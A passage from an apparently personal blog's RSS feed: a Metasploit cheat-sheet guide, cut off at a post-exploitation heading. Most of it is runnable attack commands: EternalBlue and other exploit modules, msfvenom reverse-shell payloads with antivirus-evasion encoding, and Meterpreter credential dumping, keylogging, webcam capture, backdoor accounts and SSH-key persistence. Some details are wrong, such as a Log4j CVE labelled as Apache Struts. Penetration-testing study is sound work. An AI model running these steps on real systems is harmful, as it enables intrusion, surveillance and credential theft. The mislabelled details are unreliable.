<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Exploit Tools on NullByte Notes</title>
    <link>https://jhagan-cyber-blog.pages.dev/tools/exploitation/</link>
    <description>Recent content in Exploit Tools on NullByte Notes</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 05 Jun 2026 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://jhagan-cyber-blog.pages.dev/tools/exploitation/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>METASPLOIT - Complete Exploitation Framework Guide</title>
      <link>https://jhagan-cyber-blog.pages.dev/tools/exploitation/metasploit/</link>
      <pubDate>Fri, 05 Jun 2026 00:00:00 +0000</pubDate>
      <guid>https://jhagan-cyber-blog.pages.dev/tools/exploitation/metasploit/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Penetration Testing Framework: Discover, exploit, and post-exploit vulnerabilities&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;#what-is-metasploit&#34;&gt;What is Metasploit?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#installation&#34;&gt;Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#core-concepts&#34;&gt;Core Concepts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#basic-workflow&#34;&gt;Basic Workflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#common-exploits&#34;&gt;Common Exploits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#meterpreter-commands&#34;&gt;Meterpreter Commands&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#post-exploitation&#34;&gt;Post-Exploitation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#interview-questions&#34;&gt;Interview Questions&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-metasploit&#34;&gt;What is Metasploit?&lt;/h2&gt;
&lt;p&gt;Metasploit is the &lt;strong&gt;most powerful penetration testing framework&lt;/strong&gt;. It allows you to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scan networks for vulnerabilities&lt;/li&gt;
&lt;li&gt;Exploit vulnerabilities automatically&lt;/li&gt;
&lt;li&gt;Generate custom payloads&lt;/li&gt;
&lt;li&gt;Establish reverse shells&lt;/li&gt;
&lt;li&gt;Escalate privileges&lt;/li&gt;
&lt;li&gt;Extract credentials&lt;/li&gt;
&lt;li&gt;Maintain persistence&lt;/li&gt;
&lt;li&gt;Post-exploitation activities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Versions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Metasploit Framework (Free)&lt;/li&gt;
&lt;li&gt;Metasploit Pro (Paid, more features)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;h3 id=&#34;kali-linux-pre-installed&#34;&gt;Kali Linux (Pre-installed)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Start Metasploit service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl start postgresql
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl start metasploit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Or manually&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo service postgresql start
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ubuntudebian&#34;&gt;Ubuntu/Debian&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Install dependencies&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install postgresql libpq-dev
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Install Metasploit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/base/install.sh | bash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Or from GitHub&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone https://github.com/rapid7/metasploit-framework.git
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd metasploit-framework
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bundle install
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;macos&#34;&gt;macOS&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;brew install metasploit-framework
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;start-metasploit&#34;&gt;Start Metasploit&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Start with database&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Start without database&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfconsole -q
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;core-concepts&#34;&gt;Core Concepts&lt;/h2&gt;
&lt;h3 id=&#34;modules&#34;&gt;Modules&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Exploit: Attack code targeting specific vulnerability
Payload: Code executed after successful exploitation
Encoder: Obfuscates payload to evade detection
Evasion: Techniques to bypass security controls
Auxiliary: Scanning, enumeration, fuzzing
Post: Post-exploitation modules
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;payloads&#34;&gt;Payloads&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Types:
- Staged: Download stage 2 (small initial)
- Non-staged: Everything in one payload (larger)

Common payloads:
- windows/meterpreter/reverse_tcp (Windows shell)
- linux/x86/meterpreter/reverse_tcp (Linux shell)
- php/meterpreter/reverse_tcp (PHP shell)
- android/meterpreter/reverse_http (Android shell)
- cmd/unix/reverse_sh (Linux shell)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;lhost--lport&#34;&gt;LHOST &amp;amp; LPORT&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;LHOST: Your attacker machine IP
LPORT: Port where reverse shell connects back to you

Example:
LHOST: 192.168.1.50 (Your IP)
LPORT: 4444 (Your listening port)
Victim connects back: 192.168.1.50:4444
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;basic-workflow&#34;&gt;Basic Workflow&lt;/h2&gt;
&lt;h3 id=&#34;step-1-start-metasploit&#34;&gt;Step 1: Start Metasploit&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;step-2-search-for-exploit&#34;&gt;Step 2: Search for Exploit&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msf&amp;gt; search type:exploit platform:windows eternalblue
msf&amp;gt; search type:exploit apache

# Shows results:
# Name: exploit/windows/smb/ms17_010_eternalblue
# Rank: Great
# Path: /path/to/exploit
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;step-3-select-exploit&#34;&gt;Step 3: Select Exploit&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msf&amp;gt; use exploit/windows/smb/ms17_010_eternalblue
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;step-4-show-options&#34;&gt;Step 4: Show Options&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msf exploit(ms17_010_eternalblue)&amp;gt; show options

# Output:
# Name          Current Setting  Required  Description
# RHOSTS                          yes       Target host(s)
# PAYLOAD       windows/meterpreter/reverse_tcp
# LHOST         192.168.1.50      yes       Attacker IP
# LPORT         4444              yes       Listener port
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;step-5-set-options&#34;&gt;Step 5: Set Options&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msf&amp;gt; set RHOSTS 192.168.1.100
msf&amp;gt; set LHOST 192.168.1.50
msf&amp;gt; set LPORT 4444
msf&amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;step-6-show-advanced-options&#34;&gt;Step 6: Show Advanced Options&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msf&amp;gt; show advanced

# Shows timeout, threading, encoding options
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;step-7-exploit&#34;&gt;Step 7: Exploit!&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msf&amp;gt; exploit

# Or run in background:
msf&amp;gt; exploit -j

# Check jobs:
msf&amp;gt; jobs -l

# Interact with session:
msf&amp;gt; sessions -i 1
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;common-exploits&#34;&gt;Common Exploits&lt;/h2&gt;
&lt;h3 id=&#34;eternalblue-windows-smb-rce&#34;&gt;EternalBlue (Windows SMB RCE)&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Most famous exploit
# Affects Windows 7, 8, 8.1, 10, Server 2008, 2012, 2016

msf&amp;gt; use exploit/windows/smb/ms17_010_eternalblue
msf&amp;gt; set RHOSTS 192.168.1.100
msf&amp;gt; set LHOST 192.168.1.50
msf&amp;gt; exploit

# Creates reverse meterpreter shell
# Access Windows target completely
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;apache-struts-cve-2017-5645&#34;&gt;Apache Struts CVE-2017-5645&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Web server vulnerability
# Remote code execution

msf&amp;gt; use exploit/multi/http/struts2_rce_cve_2017_5645
msf&amp;gt; set RHOSTS 192.168.1.100
msf&amp;gt; set LHOST 192.168.1.50
msf&amp;gt; exploit
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;vsftpd-backdoor&#34;&gt;vsftpd Backdoor&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# FTP server vulnerability

msf&amp;gt; use exploit/unix/ftp/vsftpd_234_backdoor
msf&amp;gt; set RHOSTS 192.168.1.100
msf&amp;gt; exploit

# Shell access to Linux
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;tomcat-manager-upload&#34;&gt;Tomcat Manager Upload&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Tomcat weak credentials

msf&amp;gt; use exploit/multi/http/tomcat_mgr_upload
msf&amp;gt; set RHOSTS 192.168.1.100
msf&amp;gt; set HttpUsername admin
msf&amp;gt; set HttpPassword admin
msf&amp;gt; exploit
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;payload-generation-msfvenom&#34;&gt;Payload Generation (msfvenom)&lt;/h2&gt;
&lt;h3 id=&#34;basic-syntax&#34;&gt;Basic Syntax&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;PAYLOAD&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=[&lt;/span&gt;IP&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=[&lt;/span&gt;PORT&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; -f &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;FORMAT&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; -o &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;OUTPUT&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;windows-payloads&#34;&gt;Windows Payloads&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Reverse shell (TCP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f exe -o shell.exe
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Bind shell (listen on target)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p windows/meterpreter/bind_tcp LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f exe -o shell.exe
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Staged payload (smaller size)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f exe -o shell.exe
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# With encoding (evade antivirus)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -e x86/shikata_ga_nai -i &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; -f exe -o shell.exe
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# As batch file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p windows/shell_reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f batch -o shell.bat
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;linux-payloads&#34;&gt;Linux Payloads&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# ELF executable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f elf -o shell
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Shell script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p cmd/unix/reverse_bash LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f sh -o shell.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Python payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p python/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f python -o shell.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;php-payloads&#34;&gt;PHP Payloads&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# PHP reverse shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p php/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f php -o shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Embed in existing PHP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p php/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -f php -o shell.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;android-payloads&#34;&gt;Android Payloads&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# APK reverse shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msfvenom -p android/meterpreter/reverse_tcp LHOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;192.168.1.50 LPORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4444&lt;/span&gt; -o shell.apk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;meterpreter-commands&#34;&gt;Meterpreter Commands&lt;/h2&gt;
&lt;h3 id=&#34;navigation--system-info&#34;&gt;Navigation &amp;amp; System Info&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pwd                    # Current directory
cd /path/to/dir        # Change directory
ls -la                 # List files
cat /etc/passwd        # Read file contents
whoami                 # Current user
uname -a               # System information
hostname               # Computer name
ipconfig (or ifconfig) # IP configuration
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;file-operations&#34;&gt;File Operations&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;upload /path/local/file /path/remote/location  # Upload file
download /path/remote/file /path/local/loc     # Download file
rm /path/file                                    # Delete file
mkdir /path/newdir                              # Create directory
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;process-management&#34;&gt;Process Management&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ps              # List processes
kill [PID]      # Kill process
getpid          # Current process ID
migrate [PID]   # Move to another process (stealth)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;credential-dumping&#34;&gt;Credential Dumping&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hashdump        # Dump SAM hashes (Windows)
lsa_dump_sam    # Dump LSASS secrets
getsystem       # Escalate to SYSTEM
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;keylogging&#34;&gt;Keylogging&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;keyscan_start   # Start keystroke logging
keyscan_dump    # Show captured keystrokes
keyscan_stop    # Stop logging
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;screenshot--screen-capture&#34;&gt;Screenshot &amp;amp; Screen Capture&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;screenshot              # Take screenshot
record_mic [SECONDS]    # Record audio
webcam_snap             # Capture webcam photo
webcam_stream           # Stream webcam
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;reverse-shell--tunneling&#34;&gt;Reverse Shell &amp;amp; Tunneling&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;shell              # Drop to system shell
execute -i -c cmd  # Execute command interactive
portfwd add -l [PORT] -p [REMOTE_PORT] -r [TARGET]  # Port forwarding
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;persistence&#34;&gt;Persistence&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;persistence -X      # Run at startup
persistence -U      # Scheduled task
run scheduler -e    # Schedule execution
reg setval -k path -v name -d data  # Set registry (Windows)
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;post-exploitation&#34;&gt;Post-Exploitation&lt;/h2&gt;
&lt;h3 id=&#34;windows-post-exploitation&#34;&gt;Windows Post-Exploitation&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Escalate to SYSTEM
getsystem

# Dump Windows hashes
hashdump

# Create backdoor user
run persistence -X

# Extract saved passwords
run windows_enum_ad
run winenum

# Start keylogger
keyscan_start
keyscan_dump
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;linux-post-exploitation&#34;&gt;Linux Post-Exploitation&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Check sudo rights
sudo -l

# Find SUID binaries
find / -perm -4000 2&amp;gt;/dev/null

# Check cron jobs
cat /etc/crontab
find /var/spool/cron -type f

# Create backdoor account
useradd -m backdoor
echo &amp;#39;backdoor:password&amp;#39; | chpasswd

# SSH key persistence
echo &amp;#39;PUBLIC_KEY&amp;#39; &amp;gt;&amp;gt; ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;information-gathering-post-exploitation&#34;&gt;Information Gathering Post-Exploitation&lt;/h3&gt;
